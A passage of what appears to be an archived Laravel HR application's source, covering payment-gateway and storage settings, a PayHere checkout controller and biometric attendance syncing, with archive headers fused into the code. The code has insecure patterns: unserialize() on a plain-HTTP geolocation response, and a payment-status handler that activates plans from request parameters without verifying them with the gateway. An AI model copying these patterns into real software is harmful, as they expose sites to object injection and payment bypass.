$post['paytr_merchant_id'] = $request->paytr_merchant_id; $post['paytr_merchant_key'] = $request->paytr_merchant_key; $post['paytr_merchant_salt'] = $request->paytr_merchant_salt; } else { $post['is_paytr_enabled'] = 'off'; } if (isset($request->is_yookassa_enabled) && $request->is_yookassa_enabled == 'on') { $request->validate( [ 'yookassa_shop_id' => 'required|string', 'yookassa_secret' => 'required|string', ] ); $post['is_yookassa_enabled'] = $request->is_yookassa_enabled; $post['yookassa_shop_id'] = $request->yookassa_shop_id; $post['yookassa_secret'] = $request->yookassa_secret; } else { $post['is_yookassa_enabled'] = 'off'; } if (isset($request->is_midtrans_enabled) && $request->is_midtrans_enabled == 'on') { $request->validate( [ 'midtrans_mode' => 'required', 'midtrans_secret' => 'required|string', ] ); $post['is_midtrans_enabled'] = $request->is_midtrans_enabled; $post['midtrans_mode'] = $request->midtrans_mode; $post['midtrans_secret'] = $request->midtrans_secret; } else { $post['is_midtrans_enabled'] = 'off'; } if (isset($request->is_xendit_enabled) && $request->is_xendit_enabled == 'on') { $request->validate( [ 'xendit_api' => 'required|string', 'xendit_token' => 'required|string', ] ); $post['is_xendit_enabled'] = $request->is_xendit_enabled; $post['xendit_api'] = $request->xendit_api; $post['xendit_token'] = $request->xendit_token; } else { $post['is_xendit_enabled'] = 'off'; } if (isset($request->is_nepalste_enabled) && $request->is_nepalste_enabled == 'on') { $request->validate( [ 'nepalste_mode' => 'required', 'nepalste_public_key' => 'required|string', 'nepalste_secret_key' => 'required|string', ] ); $post['is_nepalste_enabled'] = $request->is_nepalste_enabled; $post['nepalste_mode'] = $request->nepalste_mode; $post['nepalste_public_key'] = $request->nepalste_public_key; $post['nepalste_secret_key'] = $request->nepalste_secret_key; } else { $post['is_nepalste_enabled'] = 'off'; } if (isset($request->is_paiementpro_enabled) && $request->is_paiementpro_enabled == 'on') { $request->validate( [ 'paiementpro_merchant_id' => 'required|string', ] ); $post['is_paiementpro_enabled'] = $request->is_paiementpro_enabled; $post['paiementpro_merchant_id'] = $request->paiementpro_merchant_id; } else { $post['is_paiementpro_enabled'] = 'off'; } if (isset($request->is_fedapay_enabled) && $request->is_fedapay_enabled == 'on') { $request->validate( [ 'fedapay_mode' => 'required', 'fedapay_public_key' => 'required', 'fedapay_secret_key' => 'required', ] ); $post['is_fedapay_enabled'] = $request->is_fedapay_enabled; $post['fedapay_mode'] = $request->fedapay_mode; $post['fedapay_public_key'] = $request->fedapay_public_key; $post['fedapay_secret_key'] = $request->fedapay_secret_key; } else { $post['is_fedapay_enabled'] = 'off'; } if (isset($request->is_payhere_enabled) && $request->is_payhere_enabled == 'on') { $request->validate( [ 'payhere_mode' => 'required', 'payhere_merchant_id' => 'required', 'payhere_merchant_secret' => 'required', 'payhere_app_id' => 'required', 'payhere_app_secret' => 'required', ] ); $post['is_payhere_enabled'] = $request->is_payhere_enabled; $post['payhere_mode'] = $request->payhere_mode; $post['payhere_merchant_id'] = $request->payhere_merchant_id; $post['payhere_merchant_secret'] = $request->payhere_merchant_secret; $post['payhere_app_id'] = $request->payhere_app_id; $post['payhere_app_secret'] = $request->payhere_app_secret; } else { $post['is_payhere_enabled'] = 'off'; } if (isset($request->is_cinetpay_enabled) && $request->is_cinetpay_enabled == 'on') { $request->validate( [ 'cinetpay_api_key' => 'required', 'cinetpay_site_id' => 'required', ] ); $post['is_cinetpay_enabled'] = $request->is_cinetpay_enabled; $post['cinetpay_api_key'] = $request->cinetpay_api_key; $post['cinetpay_site_id'] = $request->cinetpay_site_id; } else { $post['is_cinetpay_enabled'] = 'off'; } foreach ($post as $key => $data) { $arr = [ $data, $key, \Auth::user()->id, ]; \DB::insert( 'insert into admin_payment_settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', $arr, ); } } public function offerletterupdate($lang, Request $request) { $user = GenerateOfferLetter::updateOrCreate(['lang' => $lang, 'created_by' => \Auth::user()->id], ['content' => $request->content]); return redirect()->back()->with('success', __('Offer Letter successfully saved.')); } public function joiningletterupdate($lang, Request $request) { $user = JoiningLetter::updateOrCreate(['lang' => $lang, 'created_by' => \Auth::user()->id], ['content' => $request->content]); return redirect()->back()->with('success', __('Joing Letter successfully saved.')); } public function experienceCertificateupdate($lang, Request $request) { $user = ExperienceCertificate::updateOrCreate(['lang' => $lang, 'created_by' => \Auth::user()->id], ['content' => $request->content]); return redirect()->back()->with('success', __('Experience Certificate successfully saved.')); } public function NOCupdate($lang, Request $request) { $user = NOC::updateOrCreate(['lang' => $lang, 'created_by' => \Auth::user()->id], ['content' => $request->content]); return redirect()->back()->with('success', __('NOC successfully saved.')); } public function storageSettingStore(Request $request) { if (isset($request->storage_setting) && $request->storage_setting == 'local') { $request->validate( [ 'local_storage_validation' => 'required', 'local_storage_max_upload_size' => 'required', ] ); $post['storage_setting'] = $request->storage_setting; $local_storage_validation = implode(',', $request->local_storage_validation); $post['local_storage_validation'] = $local_storage_validation; $post['local_storage_max_upload_size'] = $request->local_storage_max_upload_size; } if (isset($request->storage_setting) && $request->storage_setting == 's3') { $request->validate( [ 's3_key' => 'required', 's3_secret' => 'required', 's3_region' => 'required', 's3_bucket' => 'required', 's3_url' => 'required', 's3_endpoint' => 'required', 's3_max_upload_size' => 'required', 's3_storage_validation' => 'required', ] ); $post['storage_setting'] = $request->storage_setting; $post['s3_key'] = $request->s3_key; $post['s3_secret'] = $request->s3_secret; $post['s3_region'] = $request->s3_region; $post['s3_bucket'] = $request->s3_bucket; $post['s3_url'] = $request->s3_url; $post['s3_endpoint'] = $request->s3_endpoint; $post['s3_max_upload_size'] = $request->s3_max_upload_size; $s3_storage_validation = implode(',', $request->s3_storage_validation); $post['s3_storage_validation'] = $s3_storage_validation; } if (isset($request->storage_setting) && $request->storage_setting == 'wasabi') { $request->validate( [ 'wasabi_key' => 'required', 'wasabi_secret' => 'required', 'wasabi_region' => 'required', 'wasabi_bucket' => 'required', 'wasabi_url' => 'required', 'wasabi_root' => 'required', 'wasabi_max_upload_size' => 'required', 'wasabi_storage_validation' => 'required', ] ); $post['storage_setting'] = $request->storage_setting; $post['wasabi_key'] = $request->wasabi_key; $post['wasabi_secret'] = $request->wasabi_secret; $post['wasabi_region'] = $request->wasabi_region; $post['wasabi_bucket'] = $request->wasabi_bucket; $post['wasabi_url'] = $request->wasabi_url; $post['wasabi_root'] = $request->wasabi_root; $post['wasabi_max_upload_size'] = $request->wasabi_max_upload_size; $wasabi_storage_validation = implode(',', $request->wasabi_storage_validation); $post['wasabi_storage_validation'] = $wasabi_storage_validation; } foreach ($post as $key => $data) { $arr = [ $data, $key, \Auth::user()->id, ]; \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', $arr ); } return redirect()->back()->with('success', 'Storage setting successfully updated.'); } public function CacheSettings(Request $request) { Artisan::call('cache:clear'); Artisan::call('optimize:clear'); return redirect()->back()->with('success', 'Cache clear Successfully'); } public function saveCookieSettings(Request $request) { $validator = \Validator::make( $request->all(), [ 'cookie_title' => 'required', 'cookie_description' => 'required', 'strictly_cookie_title' => 'required', 'strictly_cookie_description' => 'required', 'more_information_description' => 'required', 'contactus_url' => 'required', ] ); $post = $request->all(); unset($post['_token']); if ($request->enable_cookie) { $post['enable_cookie'] = 'on'; } else { $post['enable_cookie'] = 'off'; } if ($request->cookie_logging) { $post['cookie_logging'] = 'on'; } else { $post['cookie_logging'] = 'off'; } $post['cookie_title'] = $request->cookie_title; $post['cookie_description'] = $request->cookie_description; $post['strictly_cookie_title'] = $request->strictly_cookie_title; $post['strictly_cookie_description'] = $request->strictly_cookie_description; $post['more_information_description'] = $request->more_information_description; $post['contactus_url'] = $request->contactus_url; $settings = Utility::settings(); foreach ($post as $key => $data) { if (in_array($key, array_keys($settings))) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`,`created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, \Auth::user()->creatorId(), date('Y-m-d H:i:s'), date('Y-m-d H:i:s'), ] ); } } return redirect()->back()->with('success', 'Cookie setting successfully saved.'); } public function CookieConsent(Request $request) { $settings = Utility::settings(); if ($settings['enable_cookie'] == "on" && $settings['cookie_logging'] == "on") { $allowed_levels = ['necessary', 'analytics', 'targeting']; $levels = array_filter($request['cookie'], function ($level) use ($allowed_levels) { return in_array($level, $allowed_levels); }); $whichbrowser = new \WhichBrowser\Parser($_SERVER['HTTP_USER_AGENT']); // Generate new CSV line $browser_name = $whichbrowser->browser->name ?? null; $os_name = $whichbrowser->os->name ?? null; $browser_language = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? mb_substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : null; $device_type = Utility::get_device_type($_SERVER['HTTP_USER_AGENT']); $ip = $_SERVER['REMOTE_ADDR']; // $ip = '49.36.83.154'; $query = @unserialize(file_get_contents('http://ip-api.com/php/' . $ip)); $date = (new \DateTime())->format('Y-m-d'); $time = (new \DateTime())->format('H:i:s') . ' UTC'; $cookie = $request['cookie'][0]; $new_line = implode(',', [ $ip, $date, $time, $cookie, $device_type, $browser_language, $browser_name, $os_name, isset($query) ? $query['country'] : '', isset($query) ? $query['region'] : '', isset($query) ? $query['regionName'] : '', isset($query) ? $query['city'] : '', isset($query) ? $query['zip'] : '', isset($query) ? $query['lat'] : '', isset($query) ? $query['lon'] : '' ]); if (!file_exists(storage_path() . '/uploads/sample/data.csv')) { $first_line = 'IP,Date,Time,Accepted cookies,Device type,Browser language,Browser name,OS Name,Country,Region,RegionName,City,Zipcode,Lat,Lon'; file_put_contents(storage_path() . '/uploads/sample/data.csv', $first_line . PHP_EOL, FILE_APPEND | LOCK_EX); } file_put_contents(storage_path() . '/uploads/sample/data.csv', $new_line . PHP_EOL, FILE_APPEND | LOCK_EX); return response()->json('success'); } return response()->json('error'); } public function chatgptkey(Request $request) { $validator = \Validator::make( $request->all(), [ 'chatgpt_key' => 'required', 'chatgpt_model' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if (\Auth::user()->type == 'super admin') { $user = \Auth::user(); if (!empty($request->chatgpt_key)) { $post = $request->all(); $post['chatgpt_key'] = $request->chatgpt_key; $post['chatgpt_model'] = $request->chatgpt_model; unset($post['_token']); foreach ($post as $key => $data) { $settings = Utility::settings(); if (in_array($key, array_keys($settings))) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`, `created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, $user->creatorId(), date('Y-m-d H:i:s'), date('Y-m-d H:i:s'), ] ); } } } return redirect()->back()->with('success', __('Chatgpt key successfully saved.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function BiometricSetting(Request $request) { $validator = \Validator::make( $request->all(), [ 'zkteco_api_url' => 'required', 'username' => 'required', 'user_password' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $user = \Auth::user(); if (!empty($request->zkteco_api_url) && !empty($request->username) && !empty($request->user_password)) { try { $url = "$request->zkteco_api_url" . '/api-token-auth/'; $headers = array( "Content-Type: application/json" ); $data = array( "username" => $request->username, "password" => $request->user_password ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $auth_token = json_decode($response, true); if (isset($auth_token['token'])) { $post = $request->all(); $post['zkteco_api_url'] = $request->zkteco_api_url; $post['username'] = $request->username; $post['user_password'] = $request->user_password; $post['auth_token'] = $auth_token['token']; unset($post['_token']); foreach ($post as $key => $data) { $settings = Utility::settings(); if (in_array($key, array_keys($settings))) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`, `created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, $user->creatorId(), date('Y-m-d H:i:s'), date('Y-m-d H:i:s'), ] ); } } } else { return redirect()->back()->with('error', isset($auth_token['non_field_errors']) ? $auth_token['non_field_errors'][0] : __("something went wrong please try again")); } } catch (\Exception $e) { return redirect()->back()->with('error', $e->getMessage()); } return redirect()->back()->with('success', __('Biometric setting successfully saved.')); } } } Http/Controllers/PayHereController.php000064400000022527150364306410014115 0ustar00plan_id); $plan = Plan::find($planID); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $authuser = Auth::user(); if ($plan) { /* Check for code usage */ $get_amount = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } if ($get_amount <= 0) { $authuser = Auth::user(); $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => $currency, 'txn_id' => '', 'payment_type' => __('Paiement Pro'), 'payment_status' => 'success', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan Successfully Activated')); } } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } try { $config = [ 'payhere.api_endpoint' => $payhere_mode === 'sandbox' ? 'https://sandbox.payhere.lk/' : 'https://www.payhere.lk/', ]; $config['payhere.merchant_id'] = $payhere_merchant_id ?? ''; $config['payhere.merchant_secret'] = $payhere_merchant_secret ?? ''; $config['payhere.app_secret'] = $payhere_app_secret ?? ''; $config['payhere.app_id'] = $payhere_app_id ?? ''; config($config); $hash = strtoupper( md5( $payhere_merchant_id . $orderID . number_format($get_amount, 2, '.', '') . 'LKR' . strtoupper(md5($payhere_merchant_secret)) ) ); $data = [ 'first_name' => $authuser->name, 'last_name' => '', 'email' => $authuser->email, 'phone' => $authuser->mobile_no ?? '', 'address' => 'Main Rd', 'city' => 'Anuradhapura', 'country' => 'Sri lanka', 'order_id' => $orderID, 'items' => $plan->name ?? 'Add-on', 'currency' => 'LKR', 'amount' => $get_amount, 'hash' => $hash, ]; return PayHere::checkOut() ->data($data) ->successUrl(route('payhere.status', [ $plan->id, 'amount' => $get_amount, 'coupon_code' => !empty($request->coupon_code) ? $request->coupon_code : '', 'coupon_id' => !empty($coupons->id) ? $coupons->id : '', ])) ->failUrl(route('payhere.status', [ $plan->id, 'amount' => $get_amount, 'coupon_code' => !empty($request->coupon_code) ? $request->coupon_code : '', 'coupon_id' => !empty($coupons->id) ? $coupons->id : '', ])) ->renderView(); } catch (\Exception $e) { \Log::debug($e->getMessage()); return redirect()->route('plans.index')->with('error', $e->getMessage()); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } public function planGetPayHereStatus(Request $request) { $payment_setting = Utility::getAdminPaymentSetting(); $currency = isset($payment_setting['currency']) ? $payment_setting['currency'] : ''; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $getAmount = $request->amount; $authuser = Auth::user(); $plan = Plan::find($request->plan_id); Utility::referralTransaction($plan); if ($plan) { try { $order = new Order(); $order->order_id = $orderID; $order->name = $authuser->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = $currency; $order->txn_id = $orderID; $order->payment_type = __('PayHere'); $order->payment_status = 'success'; $order->receipt = ''; $order->user_id = $authuser->id; $order->save(); $assignPlan = $authuser->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __('Transaction has been failed.')); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } } Http/Controllers/BiometricAttendanceController.php000064400000047611150364306410016465 0ustar00can('Manage Biometric Attendance')) { $company_setting = Utility::settings(); $api_urls = !empty($company_setting['zkteco_api_url']) ? $company_setting['zkteco_api_url'] : ''; $token = !empty($company_setting['auth_token']) ? $company_setting['auth_token'] : ''; if (!empty($request->start_date) && !empty($request->end_date)) { $start_date = date('Y-m-d:H:i:s', strtotime($request->start_date)); $end_date = date('Y-m-d:H:i:s', strtotime($request->end_date) + 86400 - 1); } else { $start_date = date('Y-m-d', strtotime('-7 days')); $end_date = date('Y-m-d'); } $api_url = rtrim($api_urls, '/'); // Dynamic Api URL Call $url = $api_url . '/iclock/api/transactions/?' . http_build_query([ 'start_time' => $start_date, 'end_time' => $end_date, 'page_size' => 10000, ]); $curl = curl_init(); if (!empty($token)) { try { curl_setopt_array($curl, array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_HTTPHEADER => array( 'Content-Type: application/json', 'Authorization: Token ' . $token ), )); $response = curl_exec($curl); curl_close($curl); $json_attendance = json_decode($response, true); $attendances = $json_attendance['data']; } catch (\Throwable $th) { return redirect()->back()->with('error', __('Something went wrong please try again.')); } } else { $attendances = []; } return view('biometricattendance.index', compact('attendances', 'token')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request) { if (Auth::user()->can('Manage Biometric Attendance')) { $company_settings = Utility::settings(); if (empty($company_settings['auth_token'])) { return redirect()->back()->with('error', __('Please first create auth token')); } $employee = Employee::where('created_by', Auth::user()->creatorId())->where('biometric_emp_id', $request->biometric_emp_id)->first(); if (empty($employee)) { return redirect()->back()->with('error', __('Please first create employee or edit employee code.')); } $biometric_code = $employee->biometric_emp_id; $startTime = Utility::getValByName('company_start_time'); $endTime = Utility::getValByName('company_end_time'); $date = date("Y-m-d", strtotime($request->punch_time)); $time = date("H:i", strtotime($request->punch_time)); $todayAttendance = AttendanceEmployee::where('attendance_employees.created_by', Auth::user()->creatorId()) ->where('employees.biometric_emp_id', $biometric_code) ->where('clock_in', '=', date("H:i:s", strtotime($time))) ->where('date', '=', $date) ->leftJoin('employees', 'attendance_employees.employee_id', '=', 'employees.id') ->select('attendance_employees.*', 'employees.biometric_emp_id as biometric_id') ->first(); if (!empty($todayAttendance)) { return redirect()->back()->with('error', __('This employee is already sync.')); } $attendance = AttendanceEmployee::where('attendance_employees.created_by', Auth::user()->creatorId()) ->where('employees.biometric_emp_id', $biometric_code) ->where('clock_out', '=', '00:00:00') ->where('date', '=', $date) ->orderBy('id', 'desc') ->leftJoin('employees', 'attendance_employees.employee_id', '=', 'employees.id') ->select('attendance_employees.*', 'employees.biometric_emp_id as biometric_id') ->first(); if ($attendance != null) { if ($attendance->date == $date && date("H:i", strtotime($attendance->clock_in)) == $time) { return redirect()->back()->with('error', __('This employee is already sync.')); } $endTimestamp = strtotime($date . $endTime); $currentTimestamp = strtotime($date . $time); if ($currentTimestamp > $endTimestamp) { $endTimestamp = strtotime($date . ' +1 day ' . $endTime); } $totalEarlyLeavingSeconds = $endTimestamp - $currentTimestamp; if ($totalEarlyLeavingSeconds < 0) { $earlyLeaving = '0:00:00'; } else { $hours = floor($totalEarlyLeavingSeconds / 3600); $mins = floor($totalEarlyLeavingSeconds / 60 % 60); $secs = floor($totalEarlyLeavingSeconds % 60); $earlyLeaving = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } $endTimeTimestamp = strtotime($date . $endTime); $timeTimestamp = strtotime($date . $time); if ($timeTimestamp > $endTimeTimestamp) { //Overtime $totalOvertimeSeconds = $timeTimestamp - $endTimeTimestamp; $hours = floor($totalOvertimeSeconds / 3600); $mins = floor(($totalOvertimeSeconds % 3600) / 60); $secs = floor($totalOvertimeSeconds % 60); $overtime = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } else { $overtime = '00:00:00'; } $attendance = AttendanceEmployee::find($attendance->id); $attendance->clock_out = $time; $attendance->early_leaving = $earlyLeaving; $attendance->overtime = $overtime; $attendance->save(); } // Find the last clocked out entry for the employee $lastClockOutEntry = AttendanceEmployee::where('attendance_employees.created_by', Auth::user()->creatorId()) ->where('employees.biometric_emp_id', $biometric_code) ->where('attendance_employees.employee_id', '=', $employee->id) ->where('clock_out', '!=', '00:00:00') ->where('date', '=', $date) ->orderBy('id', 'desc') ->leftJoin('employees', 'attendance_employees.employee_id', '=', 'employees.id') ->select('attendance_employees.*', 'employees.biometric_emp_id as biometric_id') ->first(); if (!empty($company_settings['timezone'])) { date_default_timezone_set($company_settings['timezone']); } if ($lastClockOutEntry != null) { $lastClockOutTime = $lastClockOutEntry->clock_out; $actualClockInTime = $date . ' ' . $time; $totalLateSeconds = strtotime($actualClockInTime) - strtotime($date . ' ' . $lastClockOutTime); $totalLateSeconds = max($totalLateSeconds, 0); $hours = floor($totalLateSeconds / 3600); $mins = floor($totalLateSeconds / 60 % 60); $secs = floor($totalLateSeconds % 60); $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } else { $expectedStartTime = $date . ' ' . $startTime; $actualClockInTime = $date . ' ' . $time; $totalLateSeconds = strtotime($actualClockInTime) - strtotime($expectedStartTime); $totalLateSeconds = max($totalLateSeconds, 0); $hours = floor($totalLateSeconds / 3600); $mins = floor($totalLateSeconds / 60 % 60); $secs = floor($totalLateSeconds % 60); $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } $checkDb = AttendanceEmployee::where('attendance_employees.created_by', Auth::user()->creatorId()) ->where('employees.biometric_emp_id', $biometric_code) ->where('attendance_employees.employee_id', '=', $employee->id) ->where('attendance_employees.date', '=', $date) ->leftJoin('employees', 'attendance_employees.employee_id', '=', 'employees.id') ->select('attendance_employees.*', 'employees.biometric_emp_id as biometric_id') ->get() ->toArray(); if (empty($checkDb)) { $employeeAttendance = new AttendanceEmployee(); $employeeAttendance->employee_id = $employee->id; $employeeAttendance->date = $date; $employeeAttendance->status = 'Present'; $employeeAttendance->clock_in = $time; $employeeAttendance->clock_out = '00:00:00'; $employeeAttendance->late = $late; $employeeAttendance->early_leaving = '00:00:00'; $employeeAttendance->overtime = '00:00:00'; $employeeAttendance->total_rest = '00:00:00'; $employeeAttendance->created_by = Auth::user()->creatorId(); $employeeAttendance->save(); return redirect()->back()->with('success', __('Employee successfully Sync.')); } $attendancess = AttendanceEmployee::where('attendance_employees.created_by', Auth::user()->creatorId()) ->where('employees.biometric_emp_id', $biometric_code) ->where('clock_in', '!=', '00:00:00') ->where('clock_out', '!=', $time) ->orderBy('id', 'desc') ->leftJoin('employees', 'attendance_employees.employee_id', '=', 'employees.id') ->select('attendance_employees.*', 'employees.biometric_emp_id as biometric_id') ->first(); if (empty($attendance)) { $employeeAttendance = new AttendanceEmployee(); $employeeAttendance->employee_id = $employee->id; $employeeAttendance->date = $date; $employeeAttendance->status = 'Present'; $employeeAttendance->clock_in = $time; $employeeAttendance->clock_out = '00:00:00'; $employeeAttendance->late = $late; $employeeAttendance->early_leaving = '00:00:00'; $employeeAttendance->overtime = '00:00:00'; $employeeAttendance->total_rest = '00:00:00'; $employeeAttendance->created_by = Auth::user()->creatorId(); $employeeAttendance->save(); } return redirect()->back()->with('success', __('Employee successfully Sync.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function AllSync(Request $request) { if (Auth::user()->can('Manage Biometric Attendance')) { $company_setting = Utility::settings(); $api_urls = !empty($company_setting['zkteco_api_url']) ? $company_setting['zkteco_api_url'] : ''; $token = !empty($company_setting['auth_token']) ? $company_setting['auth_token'] : ''; if (!empty($request->start_date) && !empty($request->end_date)) { $start_date = date('Y-m-d:H:i:s', strtotime($request->start_date)); $end_date = date('Y-m-d:H:i:s', strtotime($request->end_date) + 86400 - 1); } else { $start_date = date('Y-m-d', strtotime('-7 days')); $end_date = date('Y-m-d'); } $api_url = rtrim($api_urls, '/'); // Dynamic Api URL Call $url = $api_url . '/iclock/api/transactions/?' . http_build_query([ 'start_time' => $start_date, 'end_time' => $end_date, 'page_size' => 10000, ]); $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_HTTPHEADER => array( 'Content-Type: application/json', 'Authorization: Token ' . $token ), )); $response = curl_exec($curl); curl_close($curl); $json_attendance = json_decode($response, true); $attendances = $json_attendance['data']; if (empty($company_setting['auth_token'])) { return redirect()->back()->with('error', __('Please first create auth token')); } $employeeAttendance = []; foreach ($attendances as $bio_attendance) { $employees = Employee::where('created_by', Auth::user()->creatorId())->where('biometric_emp_id', $bio_attendance['emp_code'])->get(); if ($employees->isEmpty()) { return Response::json([ 'url' => route('biometric-attendance.allsync'), 'message' => 'Please first create employee or edit employee code.' ]); } foreach ($employees as $employee) { $biometric_code = $employee->biometric_emp_id; $startTime = Utility::getValByName('company_start_time'); $endTime = Utility::getValByName('company_end_time'); $date = date("Y-m-d", strtotime($bio_attendance['punch_time'])); $time = date("H:i", strtotime($bio_attendance['punch_time'])); $todayAttendance = AttendanceEmployee::where('attendance_employees.created_by', Auth::user()->creatorId()) ->where('employees.biometric_emp_id', $biometric_code) ->where('clock_in', '=', date("H:i:s", strtotime($time))) ->where('date', '=', $date) ->leftJoin('employees', 'attendance_employees.employee_id', '=', 'employees.id') ->select('attendance_employees.*', 'employees.biometric_emp_id as biometric_id') ->first(); if (!empty($todayAttendance)) { return Response::json([ 'url' => route('biometric-attendance.allsync'), 'data' => $todayAttendance, 'message' => 'This employee is already sync.' // Make sure this key is set properly ]); } $lastClockOutEntry = AttendanceEmployee::where('attendance_employees.created_by', Auth::user()->creatorId()) ->where('employees.biometric_emp_id', $biometric_code) ->where('attendance_employees.employee_id', '=', $employee->id) ->where('clock_out', '!=', '00:00:00') ->where('date', '=', date('Y-m-d')) ->orderBy('id', 'desc') ->leftJoin('employees', 'attendance_employees.employee_id', '=', 'employees.id') ->select('attendance_employees.*', 'employees.biometric_emp_id as biometric_id') ->first(); if (!empty($company_settings['defult_timezone'])) { date_default_timezone_set($company_settings['defult_timezone']); } if ($lastClockOutEntry != null) { $lastClockOutTime = $lastClockOutEntry->clock_out; $actualClockInTime = $date . ' ' . $time; $totalLateSeconds = strtotime($actualClockInTime) - strtotime($date . ' ' . $lastClockOutTime); $totalLateSeconds = max($totalLateSeconds, 0); $hours = floor($totalLateSeconds / 3600); $mins = floor($totalLateSeconds / 60 % 60); $secs = floor($totalLateSeconds % 60); $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } else { $expectedStartTime = $date . ' ' . $startTime; $actualClockInTime = $date . ' ' . $time; $totalLateSeconds = strtotime($actualClockInTime) - strtotime($expectedStartTime); $totalLateSeconds = max($totalLateSeconds, 0); $hours = floor($totalLateSeconds / 3600); $mins = floor($totalLateSeconds / 60 % 60); $secs = floor($totalLateSeconds % 60); $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } $checkDb = AttendanceEmployee::where('attendance_employees.created_by', Auth::user()->creatorId()) ->where('employees.biometric_emp_id', $biometric_code) ->where('attendance_employees.employee_id', '=', $employee->id) ->where('attendance_employees.date', '=', $date) ->leftJoin('employees', 'attendance_employees.employee_id', '=', 'employees.id') ->select('attendance_employees.*', 'employees.biometric_emp_id as biometric_id') ->get() ->toArray(); $employeeAttendance = new AttendanceEmployee(); $employeeAttendance->employee_id = $employee->id; $employeeAttendance->date = $date; $employeeAttendance->status = 'Present'; $employeeAttendance->clock_in = $time; $employeeAttendance->clock_out = '00:00:00'; $employeeAttendance->late = $late; $employeeAttendance->early_leaving = '00:00:00'; $employeeAttendance->overtime = '00:00:00'; $employeeAttendance->total_rest = '00:00:00'; $employeeAttendance->created_by = Auth::user()->creatorId(); $employeeAttendance->save(); } } return Response::json([ 'url' => route('biometric-attendance.allsync'), 'data' => $employeeAttendance, 'message' => 'Employee successfully Sync.' ]); } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/CompetenciesController.php000064400000007223150364306410015172 0ustar00can('Manage Competencies')) { $competencies = Competencies::where('created_by', \Auth::user()->creatorId())->with('getPerformance_type')->get(); return view('competencies.index', 